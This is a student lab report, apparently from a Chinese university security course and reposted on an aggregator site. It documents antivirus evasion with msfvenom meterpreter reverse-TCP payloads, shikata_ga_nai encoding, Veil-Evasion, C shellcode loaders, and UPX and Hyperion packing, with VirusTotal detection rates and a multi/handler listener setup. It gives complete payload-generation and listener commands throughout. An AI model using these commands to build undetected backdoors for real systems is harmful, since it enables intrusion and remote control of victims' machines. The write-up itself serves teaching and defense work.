当前位置: 首页 > news >正文

20232413 2025-2026-1 《网络与系统攻防技术》实验三实验报告

一、实验目标
1.运用代码变形技术实施恶意代码变形,具体包括使用 Msfvenom、Veil 等工具生成变形后的恶意代码,以及借助加壳工具对恶意代码进行加壳处理,以此规避杀软的检测。
2.利用 Shellcode,并结合不同的编程平台(如 C、C++、Python 等)的编译方式来开发后门程序,实现后门程序的免杀效果,同时通过实际的杀毒软件对免杀效果进行查杀验证。
二、实验内容
1.熟练掌握并正确使用各类免杀工具及技巧
正确使用 msf 编码器:通过 msfvenom 工具生成不同类型的文件(如 jar 文件、exe 文件、php 文件等),并利用其中的编码器对生成的恶意代码进行多次编码处理,尝试绕过杀软检测。
运用 Veil 工具:使用 Veil 中的 veil-evasion 模块生成免杀效果较好的恶意代码,该工具会对原始恶意代码进行混淆、加密等处理,降低被杀软识别的概率。
使用加壳工具:选取合适的加壳工具(如 UPX、Themida 等)对已生成的恶意程序进行加壳操作,加壳后的程序会对原始代码进行压缩和加密,使杀软难以直接分析其内部逻辑。
采用 C 语言结合 Shellcode 编程:手动将 Shellcode 嵌入到 C 语言代码中,通过对 Shellcode 进行简单的加密(如异或加密)后再在程序运行时解密执行,随后使用 C 语言编译器(如 GCC、Visual Studio 等)编译生成可执行文件,以此实现免杀。
2.组合应用多种技术实现恶意代码免杀对上述多种免杀技术进行组合使用(例如:先使用 msfvenom 生成带有编码器的 Shellcode,再将其嵌入 C 语言代码并进行加密处理,编译生成程序后使用加壳工具加壳,最后通过 Veil 工具进一步处理)。若成功实现免杀,需用简洁的语言描述免杀原理(如多种技术组合后,对恶意代码的特征进行了多重隐藏和混淆,使杀软无法匹配到已知的恶意代码特征库)。对于与杀软共生的结果验证,需提供截图以展示恶意程序在杀软运行状态下未被查杀的情况。
3.跨设备实测验证在另一台电脑上进行实际测试,确保该电脑上的杀毒软件处于开启状态。运行经过免杀处理的恶意程序,验证其是否能够成功回连到控制端。测试完成后,需详细注明测试电脑所安装的杀毒软件名称及具体版本号,以明确免杀效果在该杀软环境下的有效性。

三.实验过程

利用指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.48.131 PORT=2413 -f exe > DH20232413.exe直接生成meterpreter可执行文件。

872361447d7ad68090492b2e54357b8b

3.1.1将该文件上传至 VirusTotal 平台进行检测,结果显示检出率为 57/70,以此作为后续免杀技术效果对比的基准。

675d3c8e965ee143d8b9e59375ba2100

 3.1.2 合理运用 msf 编码器,借助 msfvenom 生成 jar 等类型文件。

生成 exe 文件及编码后的 exe 文件

使用命令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.48.131 LPORT=2413 -f exe > DH20232413_2.exe生成可执行文件。

bb9af4a8de5d9618d8672a729f6a1df9

 检测后发现检出率为 58/72,与未编码前相比基本没有变化。

a0dd42da55d90625e275708b0ea1fc88

 再通过命令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.48.131 LPORT=2413 -f exe > 10DH20232413_2.exe进行 10 次编码,-i 10表示编码次数为 10 次。

ff2937a1f6b45c121793b1edd2386316

 检测得出的检出率为 57/71,同样没有明显变化。这说明这类文件生成及编码模板的特征码基本已被纳入特征库中。

3.1.3生成 jar 文件及编码后的 jar 文件

利用命令msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.48.131 LPORT=2413 x>20232413.jar生成 jar 文件,其中x>可借助输出文件的后缀名来隐式指定文件类型。

8e42e9432d937ad92622dc432adbc9b6

 检出率为39/64

97ba64ac10c007e5043820eb9c3b1e11

 再用命令msfvenom -p java/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.48.131 LPORT=2413 x>10*20232413.jar生成一份经过 10 次编码的 jar 文件。

696449e7e25d3d937dfedbb7cb1c45f5

 检出率为39/64,由此可见 jar 文件更不容易被识别。

61bc19b62d4cebe80ef332d176ae3caa

 3.1.4生成 php 文件及编码后的 php 文件

使用命令msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.48.131 LPORT=2413 x> DH20232413.php生成 php 文件。

2a674d4f32c0a99d5caa6c47b153dc01

通过命令msfvenom -p php/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.48.131 LPORT=2413 x> 10.DH20232413.php生成一份经过 10 次编码的 php 文件。

c32f8278e45fd383432880ee56b2b51a

检测得到的检出率分别为25/62和8/62,表明 php 文件也难以被识别,并且 php 的编码具有较好的免杀效果。

3.2运用 veil 免杀工具

3.2.1下载veil免杀工具

使用命令sudo apt -y install veil,通过 apt 来下载 veil。

再执行命令usr/share/veil/config/setup.sh --force --silent,利用 veil 自带的 shell 脚本配置环境。

下载并配置后在命令行输入veil,可得到以下界面

5c5ac999c82a7e80e371d99c06d8540d

 3.2.2使用veil

输入use 1进入Evasion

e9f5594e3b8d515fd8320f2768b65b7b

 输入list查看可用载荷类型

be22191143b8a188f397e0e247b3587e

 输入use 7进行配置

6003c14e8c548583e3c4626123c12dc8

 输入以下信息

set LHOST 192.168.48.131

set LPORT 2413

generate

ffe70406028b6216e6c67afcd7c61e32

 之后会提示生成的具体内容以及生成后文件的存放位置。进入提示的目录,能够看到已生成好的文件。

158f5596ab30c1326e8fdfe88abb7986

 对该文件进行检出率测试,结果为 37/72,具有一定的免杀效果。

578396becafa482d8cdbb8dd9e3494e0

 3.3采用 C + shellcode 编程

3.3.1使用命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.48.131 LPORT=2413 -f c,通过 msfvenom 工具生成 C 语言源代码格式的有效载荷。

fd77f89d94ae22226962315700aa712c

 利用生成的 shellcode 编写一个 c 文件。

2d025cd17f39d881f4ffd91ffc41699a

 通过命令i686-w64-mingw32-g++ shellcode_c_20232413.c -o shellcode_c_20232413.exe进行编译,得到 exe 文件。

对该文件进行检出率测试,结果为34/71,具有一定的免杀效果。

1fa489999c79d36e3077911ab3c596d9

 3.3.2使用压缩壳 UPX

使用命令upx shellcode_c_20232413.exe -o shellcode_c_upx_20232413.exe,给shellcode_c_20232413.exe 添加一个压缩壳。

abc0850fa8b93813a6c5c9ac270842e1

 测试检出率,结果为36/71,反而有所上升,这说明该壳的特征已被广泛记录。

44c84357e19ae273b5423566d1d31e6f

 3.3.3使用加密壳 Hyperion

使用如下命令:

cp shellcode_c_20232413.exe /usr/share/windows-resources/hyperion/

cd /usr/share/windows-resources/hyperion

wine hyperion.exe -v shellcode_c_20232413.exe shellcode_c_hyp_20232413.exe

生成加密文件

4c89785dc1488c673c938307d305869b

 检出率为51/72,同样有所上升,表明该壳的特征也已被广泛记录。

a188f5a508745dea6a5d8f7fb9f7b14d

 3.4综合运用多种技术实现恶意代码免杀

先生成.c文件并编码10次

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.48.131 LPORT=2413 -f c > dh20232413_shellcode.c

再添加main函数并使用 MinGW-w64 编译该源文件:

i686-w64-mingw32-g++ dh20232413_shellcode.c -o dh20232413_shellcode.exe

添加压缩壳

upx dh20232413_shellcode.exe -o dh20232413_shellcode_upx.exe

使用 hyperion 添加一层加密壳:

wine hyperion.exe -v dh20232413_shellcode_upx.exe dh20232413_shellcode_upx_hyp.exe

47da15e20e4391bd1902ce12915d2867

 检测结果为51/71

c39ae492f52669661b9931a085212f79

 用主机杀软扫描,未发现

4d34e1d61efaf9f19d6ee8d77f0e5e7a

 3.5进行杀软回连尝试

在kali终端输入以下命令:

msfconsole

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set LHOST 192.168.48.131

set LPORT 2413

exploit

0827a637fcd2519bb4d054f993c8ebf5

 然后运行主机上的后门文件,发现被拦截

599de0b3250eb580099b6fcba7cb9bed

 四.问题及解决

Hyperion 加密壳执行报错问题

问题描述:执wine hyperion.exe -v shellcode_c_20232413.exe shellcode_c_hyp_20232413.exe时,Wine 提示 “无法加载 hyperion.exe” 或 “权限不足”,加密进程失败。
原因分析
1.Wine 环境未正确配置,缺少 Windows 系统必要的运行库(如 msvcrt.dll);
2.待加密文件路径包含中文或特殊字符,Wine 无法识别;
3.当前用户对 Hyperion 工作目录(/usr/share/windows-resources/hyperion)无写入权限。
解决方法
1.配置 Wine 运行库:执winetricks msvcrt,按提示安装 Microsoft Visual C++ 运行时库;
2.简化文件路径:确保待加密文件名称仅包含英文、数字和下划线,复制文件时使用绝对路径(cp /home/kali/shellcode_c_20232413.exe /usr/share/windows-resources/hyperion/);
3.赋予目录权限:执sudo chmod -R 775 /usr/share/windows-resources/hyperion/,确保当前用户可读写该目录;
4.重新执行加密命令,若仍报错,尝试以 root 身份运行(sudo wine hyperion.exe...),加密进程可正常执行。
五.实验体会
本次实验中,单一免杀技术(如 msf 编码、UPX 加壳)效果有限,甚至出现检出率上升的情况,而 “编码 + C 语言封装 + 双重加壳” 的组合技术能实现杀软免杀,这让我深刻认识到:免杀的核心并非 “破坏恶意代码功能”,而是通过多重技术手段打破杀软的检测逻辑。
http://www.hskmm.com/?act=detail&tid=39817

相关文章:

  • 上周热点回顾(10.20
  • 2025 年电驱动厂家最新推荐排行榜:依托国家智能测控系统产业计量测试联盟测评数据,精选伺服电机、新能源汽车电机等领域优质品牌
  • 2025 亲测!永久删除的照片这样救,完整指南来了
  • 2025 年阳台光伏厂家最新推荐榜:技术实力与市场口碑深度解析,含逆变器/储能/光伏板优质企业
  • 折旧分配表点击修改按钮报错,软件卡死
  • 命令行数据科学实用指南-全-
  • 10 25
  • 线性表
  • 2025 年不锈钢护栏厂家最新推荐排行榜:含河道、桥梁防撞、201/316L 材质、景观灯光类产品,精选高性能优质品牌
  • 日记17
  • 日记16
  • 架构师必备:限流方案选型(使用篇)
  • 10月第一篇
  • 2025 年青岛点焊机厂家最新推荐榜,聚焦技术实力与市场口碑深度解析螺母/自动/螺栓/储能/汽车零部件点焊机厂家推荐
  • Spring AI
  • 三年级小学生日记范文
  • easy-query暴打efcore(包括其他所有orm),隐式Group看我如何在子查询做到极致的性能天花板
  • Git本地与远程SSH连接配置
  • Sparkle签名检查绕过漏洞分析
  • openEuler安装Oracle踩坑
  • 【GitHub每日速递 251027】14.3k star! 告别AI开发痛点!Parlant让大模型指令遵循不再是难题
  • 百天打卡
  • dataGridView 控件表格颜色交替设置
  • 2025年10月洗地机产品推荐榜:价格与性能全面对比
  • 北の独自升级
  • 读AI赋能11自由认知
  • spring中常见的两种代理模式
  • 在AI技术唾手可得的时代,挖掘新需求成为核心竞争力——某知名数字货币钱包需求洞察
  • What versions of Python still work in Windows XP?
  • SAM2 图像分割(3)鼠标选择多框 摄像头实时分割显示 - MKT